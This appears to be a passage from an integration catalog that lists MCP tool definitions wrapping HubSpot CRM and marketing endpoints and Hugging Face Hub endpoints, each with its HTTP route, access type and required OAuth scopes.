crm.lists.write. hubspot_put_crm_v3_lists_by_listid_restore (write) — Restore a List. Restore a previously deleted list by **ILS list ID**. Deleted lists are eligible to be restored up-to 90-days after the list has been deleted. Lists are HubSpot's saved segments - static and active. List membership reads produce the record ids a campaign or a bulk update operates on. Calls PUT /crm/v3/lists/{listId}/restore on api.hubapi.com. Requires the HubSpot scopes crm.lists.read, crm.lists.write. PUT /api/v1/hubspot/crm/v3/lists/{listId}/restore. Scopes: crm.lists.read, crm.lists.write. hubspot_put_crm_v3_lists_by_listid_schedule_conversion (write) — Schedule or update the conversion of a list to static. Schedule the conversion of an active list into a static list, or update the already scheduled conversion. This can be scheduled for a specific date or based on activity. Lists are HubSpot's saved segments - static and active. List membership reads produce the record ids a campaign or a bulk update operates on. Calls PUT /crm/v3/lists/{listId}/schedule-conversion on api.hubapi.com. Requires the HubSpot scopes crm.lists.read, crm.lists.write. PUT /api/v1/hubspot/crm/v3/lists/{listId}/schedule-conversion. Scopes: crm.lists.read, crm.lists.write. hubspot_put_crm_v3_lists_by_listid_update_list_filters (write, destructive) — DESTRUCTIVE. Update List Filter Definition. Update the filter branch definition of a `DYNAMIC` list. Once updated, the list memberships will be re-evaluated and updated to match the new definition. Lists are HubSpot's saved segments - static and active. List membership reads produce the record ids a campaign or a bulk update operates on. Calls PUT /crm/v3/lists/{listId}/update-list-filters on api.hubapi.com. Requires the HubSpot scopes crm.lists.read, crm.lists.write. PUT /api/v1/hubspot/crm/v3/lists/{listId}/update-list-filters. Scopes: crm.lists.read, crm.lists.write. hubspot_put_crm_v3_lists_by_listid_update_list_name (write) — Update List Name. Update the name of a list. The name must be globally unique relative to all other public lists in the portal. Lists are HubSpot's saved segments - static and active. List membership reads produce the record ids a campaign or a bulk update operates on. Calls PUT /crm/v3/lists/{listId}/update-list-name on api.hubapi.com. Requires the HubSpot scopes crm.lists.read, crm.lists.write. PUT /api/v1/hubspot/crm/v3/lists/{listId}/update-list-name. Scopes: crm.lists.read, crm.lists.write. hubspot_put_crm_v3_lists_folders_by_folderid_move_by_newparentfolderid (write) — Moves a folder. This moves the folder from its current location to a new location. It updates the parent of this folder to the new Id given. Lists are HubSpot's saved segments - static and active. List membership reads produce the record ids a campaign or a bulk update operates on. Calls PUT /crm/v3/lists/folders/{folderId}/move/{newParentFolderId} on api.hubapi.com. Requires the HubSpot scopes crm.lists.read, crm.lists.write. PUT /api/v1/hubspot/crm/v3/lists/folders/{folderId}/move/{newParentFolderId}. Scopes: crm.lists.read, crm.lists.write. hubspot_put_crm_v3_lists_folders_by_folderid_rename (write) — Rename a folder. Renames the given folderId with a new name. Lists are HubSpot's saved segments - static and active. List membership reads produce the record ids a campaign or a bulk update operates on. Calls PUT /crm/v3/lists/folders/{folderId}/rename on api.hubapi.com. Requires the HubSpot scopes crm.lists.read, crm.lists.write. PUT /api/v1/hubspot/crm/v3/lists/folders/{folderId}/rename. Scopes: crm.lists.read, crm.lists.write. hubspot_put_crm_v3_lists_folders_move_list (write) — Moves a list to a given folder. Given a list and a folder, the list will be moved to that folder. Lists are HubSpot's saved segments - static and active. List membership reads produce the record ids a campaign or a bulk update operates on. Calls PUT /crm/v3/lists/folders/move-list on api.hubapi.com. Requires the HubSpot scopes crm.lists.read, crm.lists.write. PUT /api/v1/hubspot/crm/v3/lists/folders/move-list. Scopes: crm.lists.read, crm.lists.write. hubspot_put_crm_v3_pipelines_by_objecttype_by_pipelineid (write) — Replace a pipeline. Pipelines and their stages: the ordered states a deal or ticket moves through. A deal update that sets dealstage needs a stage id, and this is the only thing that produces one. Calls PUT /crm/v3/pipelines/{objectType}/{pipelineId} on api.hubapi.com. Requires the HubSpot scopes crm.schemas.contacts.write, crm.schemas.companies.write, crm.schemas.deals.write, crm.schemas.quotes.write, crm.schemas.custom.write, tickets. PUT /api/v1/hubspot/crm/v3/pipelines/{objectType}/{pipelineId}. Scopes: crm.schemas.companies.write, crm.schemas.contacts.write, crm.schemas.custom.write, crm.schemas.deals.write, crm.schemas.quotes.write, tickets. hubspot_put_crm_v3_pipelines_by_objecttype_by_pipelineid_stages_by_stageid (write) — Replace a pipeline stage. Replace all the properties of an existing pipeline stage with the values provided. The updated stage will be returned in the response. Pipelines and their stages: the ordered states a deal or ticket moves through. A deal update that sets dealstage needs a stage id, and this is the only thing that produces one. Calls PUT /crm/v3/pipelines/{objectType}/{pipelineId}/stages/{stageId} on api.hubapi.com. Requires the HubSpot scopes crm.schemas.contacts.write, crm.schemas.companies.write, crm.schemas.deals.write, crm.schemas.quotes.write, crm.schemas.custom.write, tickets. PUT /api/v1/hubspot/crm/v3/pipelines/{objectType}/{pipelineId}/stages/{stageId}. Scopes: crm.schemas.companies.write, crm.schemas.contacts.write, crm.schemas.custom.write, crm.schemas.deals.write, crm.schemas.quotes.write, tickets. hubspot_put_crm_v3_property_validations_by_objecttypeid_by_propertyname_rule_type_by_ruletype (write) — Update a validation rule for a specific property and rule type, allowing customization of property value constraints. Update a specific validation rule for a property identified by its name and rule type. Per-property validation rules - what HubSpot will reject before a write is attempted. Calls PUT /crm/v3/property-validations/{objectTypeId}/{propertyName}/rule-type/{ruleType} on api.hubapi.com. Requires the HubSpot scope tickets. PUT /api/v1/hubspot/crm/v3/property-validations/{objectTypeId}/{propertyName}/rule-type/{ruleType}. Scopes: tickets. hubspot_put_crm_v4_objects_by_fromobjecttype_by_fromobjectid_associations_default_by_toobjecttype_by_toobjectid (write) — Associate records (default). Create the default (most generic) association type between two object types Associations are the links between records - which contacts are on a deal, which company a ticket belongs to. Associations v4 is the current API. A write whose ids came from nowhere is unusable, so the association reads are the ones that make the object reads composable. Calls PUT /crm/v4/objects/{fromObjectType}/{fromObjectId}/associations/default/{toObjectType}/{toObjectId} on api.hubapi.com. Requires the HubSpot scopes crm.objects.contacts.write, crm.objects.companies.write, crm.objects.deals.write, tickets, crm.objects.line_items.write, crm.objects.quotes.write, crm.objects.custom.write. PUT /api/v1/hubspot/crm/v4/objects/{fromObjectType}/{fromObjectId}/associations/default/{toObjectType}/{toObjectId}. Scopes: crm.objects.companies.write, crm.objects.contacts.write, crm.objects.custom.write, crm.objects.deals.write, crm.objects.line_items.write, crm.objects.quotes.write, tickets. hubspot_put_crm_v4_objects_by_objecttype_by_objectid_associations_by_toobjecttype_by_toobjectid (write) — Associate records (labelled). Set association labels between two records. Associations are the links between records - which contacts are on a deal, which company a ticket belongs to. Associations v4 is the current API. A write whose ids came from nowhere is unusable, so the association reads are the ones that make the object reads composable. Calls PUT /crm/v4/objects/{objectType}/{objectId}/associations/{toObjectType}/{toObjectId} on api.hubapi.com. Requires the HubSpot scopes crm.objects.contacts.write, crm.objects.companies.write, crm.objects.deals.write, tickets, crm.objects.line_items.write, crm.objects.quotes.write, crm.objects.custom.write. PUT /api/v1/hubspot/crm/v4/objects/{objectType}/{objectId}/associations/{toObjectType}/{toObjectId}. Scopes: crm.objects.companies.write, crm.objects.contacts.write, crm.objects.custom.write, crm.objects.deals.write, crm.objects.line_items.write, crm.objects.quotes.write, tickets. hubspot_put_files_v3_files_by_fileid (write) — Replace file. Replace existing file data with new file data. Can be used to change image content without having to upload a new file and update all references. The file manager. Files are what a note, email or quote attaches. NOTE: the signed-URL read is deliberately absent - its response is a pre-authenticated URL that grants the bearer the file with no further credential, and no Agentic Fabriq redactor covers a URL. Calls PUT /files/v3/files/{fileId} on api.hubapi.com. Requires the HubSpot scope files.ui_hidden.write. PUT /api/v1/hubspot/files/v3/files/{fileId}. Scopes: files.ui_hidden.write. hubspot_put_marketing_v3_campaigns_by_campaignguid_assets_by_assettype_by_assetid (write) — Add asset association. Associate a specified asset with a campaign. Using the API, you can create associations for the following asset types: ads, blog posts, calls, case studies, CTAs, CTAs (legacy), external website pages, feedback surveys, forms, files, knowledge base articles, landing pages, marketing email, marketing events, meetings, playbooks, podcast episodes, sales documents, sales emails, sequences, SMS, social posts, static lists, videos, website pages, and workflows. For other asset types, it is recommended to manage your ass... Marketing campaigns, the assets attached to them, their budget and their measured revenue. Calls PUT /marketing/v3/campaigns/{campaignGuid}/assets/{assetType}/{assetId} on api.hubapi.com. Requires the HubSpot scope marketing.campaigns.write. PUT /api/v1/hubspot/marketing/v3/campaigns/{campaignGuid}/assets/{assetType}/{assetId}. Scopes: marketing.campaigns.write. hubspot_put_marketing_v3_campaigns_by_campaignguid_budget_by_budgetid (write) — Update budget item. Update a specific budget item by ID Marketing campaigns, the assets attached to them, their budget and their measured revenue. Calls PUT /marketing/v3/campaigns/{campaignGuid}/budget/{budgetId} on api.hubapi.com. Requires the HubSpot scope marketing.campaigns.write. PUT /api/v1/hubspot/marketing/v3/campaigns/{campaignGuid}/budget/{budgetId}. Scopes: marketing.campaigns.write. hubspot_put_marketing_v3_campaigns_by_campaignguid_spend_by_spendid (write) — Update campaign spend item. Update a specific campaign spend item by ID Marketing campaigns, the assets attached to them, their budget and their measured revenue. Calls PUT /marketing/v3/campaigns/{campaignGuid}/spend/{spendId} on api.hubapi.com. Requires the HubSpot scope marketing.campaigns.write. PUT /api/v1/hubspot/marketing/v3/campaigns/{campaignGuid}/spend/{spendId}. Scopes: marketing.campaigns.write. hubspot_put_marketing_v3_forms_by_formid (write) — Update a form definition. Update all fields of a hubspot form definition. Marketing forms and their field definitions. Reading a form tells an agent which fields a submission may carry. Calls PUT /marketing/v3/forms/{formId} on api.hubapi.com. Requires the HubSpot scope forms. PUT /api/v1/hubspot/marketing/v3/forms/{formId}. Scopes: forms. hubspot_put_marketing_v3_marketing_events_associations_by_externalaccountid_by_externaleventid_lists_by_listid (write) — Associate a list with a marketing event. Associates a list with a marketing event by external account id, external event id, and ILS list id Marketing events - webinars and similar - and their attendance state. Calls PUT /marketing/v3/marketing-events/associations/{externalAccountId}/{externalEventId}/lists/{listId} on api.hubapi.com. Requires the HubSpot scope crm.objects.marketing_events.write. PUT /api/v1/hubspot/marketing/v3/marketing-events/associations/{externalAccountId}/{externalEventId}/lists/{listId}. Scopes: crm.objects.marketing_events.write. hubspot_put_marketing_v3_marketing_events_associations_by_marketingeventid_lists_by_listid (write) — Associate a list with a marketing event. Associates a list with a marketing event by marketing event id and ILS list id Marketing events - webinars and similar - and their attendance state. Calls PUT /marketing/v3/marketing-events/associations/{marketingEventId}/lists/{listId} on api.hubapi.com. Requires the HubSpot scope crm.objects.marketing_events.write. PUT /api/v1/hubspot/marketing/v3/marketing-events/associations/{marketingEventId}/lists/{listId}. Scopes: crm.objects.marketing_events.write. hubspot_put_marketing_v3_marketing_events_events_by_externaleventid (write) — Create or update a marketing event. Upserts a marketing event If there is an existing marketing event with the specified ID, it will be updated; otherwise a new event will be created. Marketing events - webinars and similar - and their attendance state. Calls PUT /marketing/v3/marketing-events/events/{externalEventId} on api.hubapi.com. Requires the HubSpot scope crm.objects.marketing_events.write. PUT /api/v1/hubspot/marketing/v3/marketing-events/events/{externalEventId}. Scopes: crm.objects.marketing_events.write. ================================================================================ ## Hugging Face URL: https://www.agenticfabriq.com/integrations/huggingface Section: Integrated Tools Hugging Face — 313 MCP tools Provider key: huggingface. Scopes: jobs, manage-repos, profile, read-billing, read-collections, read-memberships, read-repos, webhooks, write-collections, write-discussions, write-endpoints, write-repos. Connect: AF hosted — your end user signs in to their account using Agentic Fabriq's OAuth app (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. huggingface_delete_api_buckets_by_namespace_by_repo (write, destructive) — Delete bucket via DELETE /api/buckets/{namespace}/{repo} DELETE /api/v1/huggingface/api/buckets/{namespace}/{repo}. Scopes: manage-repos. huggingface_delete_api_by_repotype_by_namespace_by_repo_discussions_by_num (write, destructive) — Delete a discussion via DELETE /api/{repoType}/{namespace}/{repo}/discussions/{num} DELETE /api/v1/huggingface/api/{repoType}/{namespace}/{repo}/discussions/{num}. Scopes: write-discussions. huggingface_delete_api_by_repotype_by_namespace_by_repo_discussions_by_num_ref (write, destructive) — Delete PR ref -- Deletes the git ref for a closed/merged pull request to free up storage. LFS files unique to this PR will be garbage collected. The PR page and diff will still be viewable using stored commit data. via DELETE /api/{repoType}/{namespace}/{repo}/discussions/{num}/ref DELETE /api/v1/huggingface/api/{repoType}/{namespace}/{repo}/discussions/{num}/ref. Scopes: write-discussions. huggingface_delete_api_by_repotype_by_namespace_by_repo_sql_console_embed_by_id (write, destructive) — Delete embed -- Delete SQL Console embed via DELETE /api/{repoType}/{namespace}/{repo}/sql-console/embed/{id} DELETE /api/v1/huggingface/api/{repoType}/{namespace}/{repo}/sql-console/embed/{id}. Scopes: manage-repos. huggingface_delete_api_collections_by_namespace_by_slug (write, destructive) — Delete a collection via DELETE /api/collections/{namespace}/{slug} DELETE /api/v1/huggingface/api/collections/{namespace}/{slug}. Scopes: write-collections. huggingface_delete_api_collections_by_namespace_by_slug_items_by_slug (write, destructive) — Delete item -- Delete an item from a collection via DELETE /api/collections/{namespace}/{slug}/items/{slug} DELETE /api/v1/huggingface/api/collections/{namespace}/{slug}/items/{itemId}. Scopes: write-collections. huggingface_delete_api_datasets_by_namespace_by_repo_branch_by_rev (write, destructive) — Delete a branch via DELETE /api/datasets/{namespace}/{repo}/branch/{rev} DELETE /api/v1/huggingface/api/datasets/{namespace}/{repo}/branch/{rev}. Scopes: manage-repos. huggingface_delete_api_datasets_by_namespace_by_repo_lfs_files_by_sha (write, destructive) — Delete Large file -- Delete a Xet/LFS file via DELETE /api/datasets/{namespace}/{repo}/lfs-files/{sha} DELETE /api/v1/huggingface/api/datasets/{namespace}/{repo}/lfs-files/{sha}. Scopes: manage-repos. huggingface_delete_api_datasets_by_namespace_by_repo_tag_by_rev (write, destructive) — Delete a tag via DELETE /api/datasets/{namespace}/{repo}/tag/{rev} DELETE /api/v1/huggingface/api/datasets/{namespace}/{repo}/tag/{rev}. Scopes: manage-repos. huggingface_delete_api_models_by_namespace_by_repo_branch_by_rev (write, destructive) — Delete a branch via DELETE /api/models/{namespace}/{repo}/branch/{rev} DELETE /api/v1/huggingface/api/models/{namespace}/{repo}/branch/{rev}. Scopes: manage-repos. huggingface_delete_api_models_by_namespace_by_repo_lfs_files_by_sha (write, destructive) — Delete Large file -- Delete a Xet/LFS file via DELETE /api/models/{namespace}/{repo}/lfs-files/{sha} DELETE /api/v1/huggingface/api/models/{namespace}/{repo}/lfs-files/{sha}. Scopes: manage-repos. huggingface_delete_api_models_by_namespace_by_repo_tag_by_rev (write, destructive) — Delete a tag via DELETE /api/models/{namespace}/{repo}/tag/{rev} DELETE /api/v1/huggingface/api/models/{namespace}/{repo}/tag/{rev}. Scopes: manage-repos. huggingface_delete_api_notifications (write, destructive) — Delete notifications -- Delete notifications, either by specifying discussionIds or by applying to all notifications with search parameters via DELETE /api/notifications DELETE /api/v1/huggingface/api/notifications. Scopes: manage-repos. huggingface_delete_api_organizations_by_name_resource_groups_by_resourcegroupid (write, destructive) — Delete resource group -- Delete a resource group from the organization. Requires the org to have a Team plan or higher. via DELETE /api/organizations/{name}/resource-groups/{resourceGroupId} DELETE /api/v1/huggingface/api/organizations/{name}/resource-groups/{resourceGroupId}. Scopes: read-memberships. huggingface_delete_api_organizations_by_name_resource_groups_by_resourcegroupid_users_by_username (write, destructive) — Remove user -- Remove a user from a resource group, revoking the access granted through it. Requires the org to have a Team plan or higher. via DELETE /api/organizations/{name}/resource-groups/{resourceGroupId}/users/{username} DELETE /api/v1/huggingface/api/organizations/{name}/resource-groups/{resourceGroupId}/users/{username}. Scopes: read-memberships. huggingface_delete_api_organizations_by_name_scim_provisioning_v2_groups_by_groupid (write, destructive) — Delete a SCIM group via DELETE /api/organizations/{name}/scim-provisioning/v2/Groups/{groupId} DELETE /api/v1/huggingface/api/organizations/{name}/scim-provisioning/v2/Groups/{groupId}. Scopes: read-memberships. huggingface_delete_api_organizations_by_name_scim_provisioning_v2_users_by_userid (write, destructive) — Delete SCIM user -- Removes a user from the organization and deletes any pending invitations for non-managed organizations. via DELETE /api/organizations/{name}/scim-provisioning/v2/Users/{userId} DELETE /api/v1/huggingface/api/organizations/{name}/scim-provisioning/v2/Users/{userId}. Scopes: read-memberships. huggingface_delete_api_organizations_by_name_scim_v2_groups_by_groupid (write, destructive) — Delete a SCIM group via DELETE /api/organizations/{name}/scim/v2/Groups/{groupId} DELETE /api/v1/huggingface/api/organizations/{name}/scim/v2/Groups/{groupId}. Scopes: read-memberships. huggingface_delete_api_organizations_by_name_scim_v2_users_by_userid (write, destructive) — Delete a SCIM user via DELETE /api/organizations/{name}/scim/v2/Users/{userId} DELETE /api/v1/huggingface/api/organizations/{name}/scim/v2/Users/{userId}. Scopes: read-memberships. huggingface_delete_api_organizations_by_name_service_accounts_by_serviceaccountid (write, destructive) — Delete service account -- Delete a service account and all its tokens. This action cannot be undone. via DELETE /api/organizations/{name}/service-accounts/{serviceAccountId} DELETE /api/v1/huggingface/api/organizations/{name}/service-accounts/{serviceAccountId}. Scopes: read-memberships. huggingface_delete_api_organizations_by_name_service_accounts_by_serviceaccountid_tokens_by_tokenid (write, destructive) — Delete service-account token -- Delete an access token from a service account. This action cannot be undone. via DELETE /api/organizations/{name}/service-accounts/{serviceAccountId}/tokens/{tokenId} DELETE /api/v1/huggingface/api/organizations/{name}/service-accounts/{serviceAccountId}/tokens/{tokenId}. Scopes: read-memberships. huggingface_delete_api_posts_by_username_by_postslug (write, destructive) — Delete a discussion via DELETE /api/posts/{username}/{postSlug} DELETE /api/v1/huggingface/api/posts/{username}/{postSlug}. Scopes: write-discussions. huggingface_delete_api_scheduled_jobs_by_namespace_by_jobid (write, destructive) — Delete a scheduled job via DELETE /api/scheduled-jobs/{namespace}/{jobId} DELETE /api/v1/huggingface/api/scheduled-jobs/{namespace}/{jobId}. Scopes: jobs. huggingface_delete_api_settings_webhooks_by_webhookid (write, destructive) — Delete webhook via DELETE /api/settings/webhooks/{webhookId} DELETE /api/v1/huggingface/api/settings/webhooks/{webhookId}. Scopes: webhooks. huggingface_delete_api_spaces_by_namespace_by_repo_branch_by_rev (write, destructive) — Delete a branch via DELETE /api/spaces/{namespace}/{repo}/branch/{rev} DELETE /api/v1/huggingface/api/spaces/{namespace}/{repo}/branch/{rev}. Scopes: manage-repos. huggingface_delete_api_spaces_by_namespace_by_repo_lfs_files_by_sha (write, destructive) — Delete Large file -- Delete a Xet/LFS file via DELETE /api/spaces/{namespace}/{repo}/lfs-files/{sha} DELETE /api/v1/huggingface/api/spaces/{namespace}/{repo}/lfs-files/{sha}. Scopes: manage-repos. huggingface_delete_api_spaces_by_namespace_by_repo_secrets (write, destructive) — Delete secret -- Delete Spaces's secret via DELETE /api/spaces/{namespace}/{repo}/secrets DELETE /api/v1/huggingface/api/spaces/{namespace}/{repo}/secrets. Scopes: manage-repos. huggingface_delete_api_spaces_by_namespace_by_repo_tag_by_rev (write, destructive) — Delete a tag via DELETE /api/spaces/{namespace}/{repo}/tag/{rev} DELETE /api/v1/huggingface/api/spaces/{namespace}/{repo}/tag/{rev}. Scopes: manage-repos. huggingface_delete_api_spaces_by_namespace_by_repo_variables (write, destructive) — Delete variable -- Delete Spaces's variable via DELETE /api/spaces/{namespace}/{repo}/variables DELETE /api/v1/huggingface/api/spaces/{namespace}/{repo}/variables. Scopes: manage-repos. huggingface_delete_api_spaces_by_namespace_by_repo_volumes (write, destructive) — Delete Space volumes via DELETE /api/spaces/{namespace}/{repo}/volumes DELETE /api/v1/huggingface/api/spaces/{namespace}/{repo}/volumes. Scopes: manage-repos. huggingface_get_api_agent_harnesses (read) — Get agent harnesses -- Get the registry of AI agents / harnesses known to the Hub, along with the standard environment variables used to detect them. Clients use this registry to identify which agent they are running in when reporting Hub activity. via GET /api/agent-harnesses GET /api/v1/huggingface/api/agent-harnesses. Scopes: read-repos. huggingface_get_api_agentic_provisioning_health (read) — Get health via GET /api/agentic/provisioning/health GET /api/v1/huggingface/api/agentic/provisioning/health. Scopes: read-memberships. huggingface_get_api_agentic_provisioning_resources_by_id (read) — Get a resource by ID via GET /api/agentic/provisioning/resources/{id} GET /api/v1/huggingface/api/agentic/provisioning/resources/{id}. Scopes: read-memberships. huggingface_get_api_agentic_provisioning_services (read) — Get services via GET /api/agentic/provisioning/services GET /api/v1/huggingface/api/agentic/provisioning/services. Scopes: read-memberships. huggingface_get_api_avatars_by_namespace (read) — Get avatar -- Display the avatar for any user or organization. This endpoint redirects to the avatar URL for either a user or an organization via GET /api/avatars/{namespace} GET /api/v1/huggingface/api/avatars/{namespace}. Scopes: profile. huggingface_get_api_buckets_by_namespace (read) — List namespace buckets via GET /api/buckets/{namespace} GET /api/v1/huggingface/api/buckets/{namespace}. Scopes: read-repos. huggingface_get_api_buckets_by_namespace_by_repo (read) — Get bucket details via GET /api/buckets/{namespace}/{repo} GET /api/v1/huggingface/api/buckets/{namespace}/{repo}. Scopes: read-repos. huggingface_get_api_buckets_by_namespace_by_repo_resource_group (read) — Get resource group via GET /api/buckets/{namespace}/{repo}/resource-group GET /api/v1/huggingface/api/buckets/{namespace}/{repo}/resource-group. Scopes: read-repos. huggingface_get_api_buckets_by_namespace_by_repo_tree_by_path (read) — List files via GET /api/buckets/{namespace}/{repo}/tree/{path} GET /api/v1/huggingface/api/buckets/{namespace}/{repo}/tree/{path}. Scopes: read-repos. huggingface_get_api_buckets_by_namespace_by_repo_xet_read_token (read) — Xet read token -- Get a read short-lived access token for XET via GET /api/buckets/{namespace}/{repo}/xet-read-token GET /api/v1/huggingface/api/buckets/{namespace}/{repo}/xet-read-token. Scopes: read-repos. huggingface_get_api_buckets_by_namespace_by_repo_xet_write_token (read) — Xet write token -- Get a write short-lived access token for XET upload via GET /api/buckets/{namespace}/{repo}/xet-write-token GET /api/v1/huggingface/api/buckets/{namespace}/{repo}/xet-write-token. Scopes: read-repos. huggingface_get_api_by_repotype_by_namespace_by_repo_discussions (read) — List discussions -- Get discussions for a repo via GET /api/{repoType}/{namespace}/{repo}/discussions GET /api/v1/huggingface/api/{repoType}/{namespace}/{repo}/discussions. Scopes: read-repos. huggingface_get_api_by_repotype_by_namespace_by_repo_discussions_by_num (read) — Get discussion details via GET /api/{repoType}/{namespace}/{repo}/discussions/{num} GET /api/v1/huggingface/api/{repoType}/{namespace}/{repo}/discussions/{num}. Scopes: read-repos. huggingface_get_api_by_repotype_by_namespace_by_repo_discussions_by_num_storage (read) — PR storage estimate -- Estimates the LFS storage used by a PR that could be freed if the ref is deleted. via GET /api/{repoType}/{namespace}/{repo}/discussions/{num}/storage GET /api/v1/huggingface/api/{repoType}/{namespace}/{repo}/discussions/{num}/storage. Scopes: read-repos. huggingface_get_api_by_repotype_by_namespace_by_repo_duplicate_status (read) — Duplication status via GET /api/{repoType}/{namespace}/{repo}/duplicate/status GET /api/v1/huggingface/api/{repoType}/{namespace}/{repo}/duplicate/status. Scopes: read-repos. huggingface_get_api_collections (read) — Get collections via GET /api/collections GET /api/v1/huggingface/api/collections. Scopes: read-collections. huggingface_get_api_collections_by_namespace_by_slug (read) — Get a collection via GET /api/collections/{namespace}/{slug} GET /api/v1/huggingface/api/collections/{namespace}/{slug}. Scopes: read-collections. huggingface_get_api_collections_by_namespace_by_slug_resource_group (read) — Get collection resource group via GET /api/collections/{namespace}/{slug}/resource-group GET /api/v1/huggingface/api/collections/{namespace}/{slug}/resource-group. Scopes: read-collections. huggingface_get_api_daily_papers (read) — Get Daily Papers via GET /api/daily_papers GET /api/v1/huggingface/api/daily_papers. Scopes: read-repos. huggingface_get_api_datasets_by_namespace_by_repo_commits_by_rev (read) — List commits via GET /api/datasets/{namespace}/{repo}/commits/{rev} GET /api/v1/huggingface/api/datasets/{namespace}/{repo}/commits/{rev}. Scopes: read-repos. huggingface_get_api_datasets_by_namespace_by_repo_compare_by_compare (read) — Get a compare rev via GET /api/datasets/{namespace}/{repo}/compare/{compare} GET /api/v1/huggingface/api/datasets/{namespace}/{repo}/compare/{compare}. Scopes: read-repos. huggingface_get_api_datasets_by_namespace_by_repo_jwt (read) — Generate JWT -- Generate a JWT token for accessing a repository. Supports optional write access for spaces in dev mode, custom expiration, and encryption. via GET /api/datasets/{namespace}/{repo}/jwt GET /api/v1/huggingface/api/datasets/{namespace}/{repo}/jwt. Scopes: read-repos. huggingface_get_api_datasets_by_namespace_by_repo_leaderboard (read) — Get dataset leaderboard -- Returns the evaluation results ranked by score for a dataset/task via GET /api/datasets/{namespace}/{repo}/leaderboard GET /api/v1/huggingface/api/datasets/{namespace}/{repo}/leaderboard. Scopes: read-repos. huggingface_get_api_datasets_by_namespace_by_repo_lfs_files (read) — List Large files -- List Xet/LFS files for a repo via GET /api/datasets/{namespace}/{repo}/lfs-files GET /api/v1/huggingface/api/datasets/{namespace}/{repo}/lfs-files. Scopes: read-repos. huggingface_get_api_datasets_by_namespace_by_repo_notebook_by_rev_by_path (read) — Get notebook URL -- Get a jupyter notebook URL for the requested file via GET /api/datasets/{namespace}/{repo}/notebook/{rev}/{path} GET /api/v1/huggingface/api/datasets/{namespace}/{repo}/notebook/{rev}/{path}. Scopes: read-repos. huggingface_get_api_datasets_by_namespace_by_repo_refs (read) — List references via GET /api/datasets/{namespace}/{repo}/refs GET /api/v1/huggingface/api/datasets/{namespace}/{repo}/refs. Scopes: read-repos. huggingface_get_api_datasets_by_namespace_by_repo_resource_group (read) — Get resource group via GET /api/datasets/{namespace}/{repo}/resource-group GET /api/v1/huggingface/api/datasets/{namespace}/{repo}/resource-group. Scopes: read-repos. huggingface_get_api_datasets_by_namespace_by_repo_scan (read) — Get security status -- Get the security status of a repo via GET /api/datasets/{namespace}/{repo}/scan GET /api/v1/huggingface/api/datasets/{namespace}/{repo}/scan. Scopes: read-repos. huggingface_get_api_datasets_by_namespace_by_repo_tree_by_rev_by_path (read) — List folder content -- List the content of a repository tree, with pagination support. via GET /api/datasets/{namespace}/{repo}/tree/{rev}/{path} GET /api/v1/huggingface/api/datasets/{namespace}/{repo}/tree/{rev}/{path}. Scopes: read-repos. huggingface_get_api_datasets_by_namespace_by_repo_treesize_by_rev_by_path (read) — Get folder size -- Get the total size of a repository at a given revision, optionally under a specific subpath. Returns the total size in bytes of all files under the specified path (recursively). If a file is stored via Xet/LFS, the LFS file size is used. via GET /api/datasets/{namespace}/{repo}/treesize/{rev}/{path} GET /api/v1/huggingface/api/datasets/{namespace}/{repo}/treesize/{rev}/{path}. Scopes: read-repos. huggingface_get_api_datasets_by_namespace_by_repo_user_access_request_by_status (read) — List access requests -- List access requests for a gated repository via GET /api/datasets/{namespace}/{repo}/user-access-request/{status} GET /api/v1/huggingface/api/datasets/{namespace}/{repo}/user-access-request/{status}. Scopes: read-repos. huggingface_get_api_datasets_by_namespace_by_repo_xet_read_token_by_rev (read) — Xet read token -- Get a read short-lived access token for XET via GET /api/datasets/{namespace}/{repo}/xet-read-token/{rev} GET /api/v1/huggingface/api/datasets/{namespace}/{repo}/xet-read-token/{rev}. Scopes: read-repos. huggingface_get_api_datasets_by_namespace_by_repo_xet_write_token_by_rev (read) — Xet write token -- Get a write short-lived access token for XET upload via GET /api/datasets/{namespace}/{repo}/xet-write-token/{rev} GET /api/v1/huggingface/api/datasets/{namespace}/{repo}/xet-write-token/{rev}. Scopes: read-repos. huggingface_get_api_datasets_tags_by_type (read) — Get dataset tags -- Get all possible tags used for datasets, grouped by tag type. Optionally restrict to only one tag type via GET /api/datasets-tags-by-type GET /api/v1/huggingface/api/datasets-tags-by-type. Scopes: read-repos. huggingface_get_api_docs (read) — List docs -- Get list of available documentation via GET /api/docs GET /api/v1/huggingface/api/docs. Scopes: read-repos. huggingface_get_api_docs_search (read) — Search docs -- Search any Hugging Face documentation via GET /api/docs/search GET /api/v1/huggingface/api/docs/search. Scopes: read-repos. huggingface_get_api_docs_search_full_text (read) — Full-text search docs -- Full-text search across Hugging Face documentation via GET /api/docs/search/full-text GET /api/v1/huggingface/api/docs/search/full-text. Scopes: read-repos. huggingface_get_api_jobs_by_namespace (read) — List jobs -- List of jobs for an entity via GET /api/jobs/{namespace} GET /api/v1/huggingface/api/jobs/{namespace}. Scopes: jobs. huggingface_get_api_jobs_by_namespace_by_jobid (read) — Get a job via GET /api/jobs/{namespace}/{jobId} GET /api/v1/huggingface/api/jobs/{namespace}/{jobId}. Scopes: jobs. huggingface_get_api_jobs_by_namespace_by_jobid_events (read) — Stream job events -- Stream the events of a job, using SSE via GET /api/jobs/{namespace}/{jobId}/events GET /api/v1/huggingface/api/jobs/{namespace}/{jobId}/events. Scopes: jobs. huggingface_get_api_jobs_by_namespace_by_jobid_logs (read) — Stream job logs -- Stream the logs of a job, using SSE via GET /api/jobs/{namespace}/{jobId}/logs GET /api/v1/huggingface/api/jobs/{namespace}/{jobId}/logs. Scopes: jobs. huggingface_get_api_jobs_by_namespace_by_jobid_metrics (read) — Stream job metrics -- Stream the metrics of a job, using SSE via GET /api/jobs/{namespace}/{jobId}/metrics GET /api/v1/huggingface/api/jobs/{namespace}/{jobId}/metrics. Scopes: jobs. huggingface_get_api_jobs_by_namespace_count (read) — Count jobs -- Count the number of jobs for an entity with optional status stage filter via GET /api/jobs/{namespace}/count GET /api/v1/huggingface/api/jobs/{namespace}/count. Scopes: jobs. 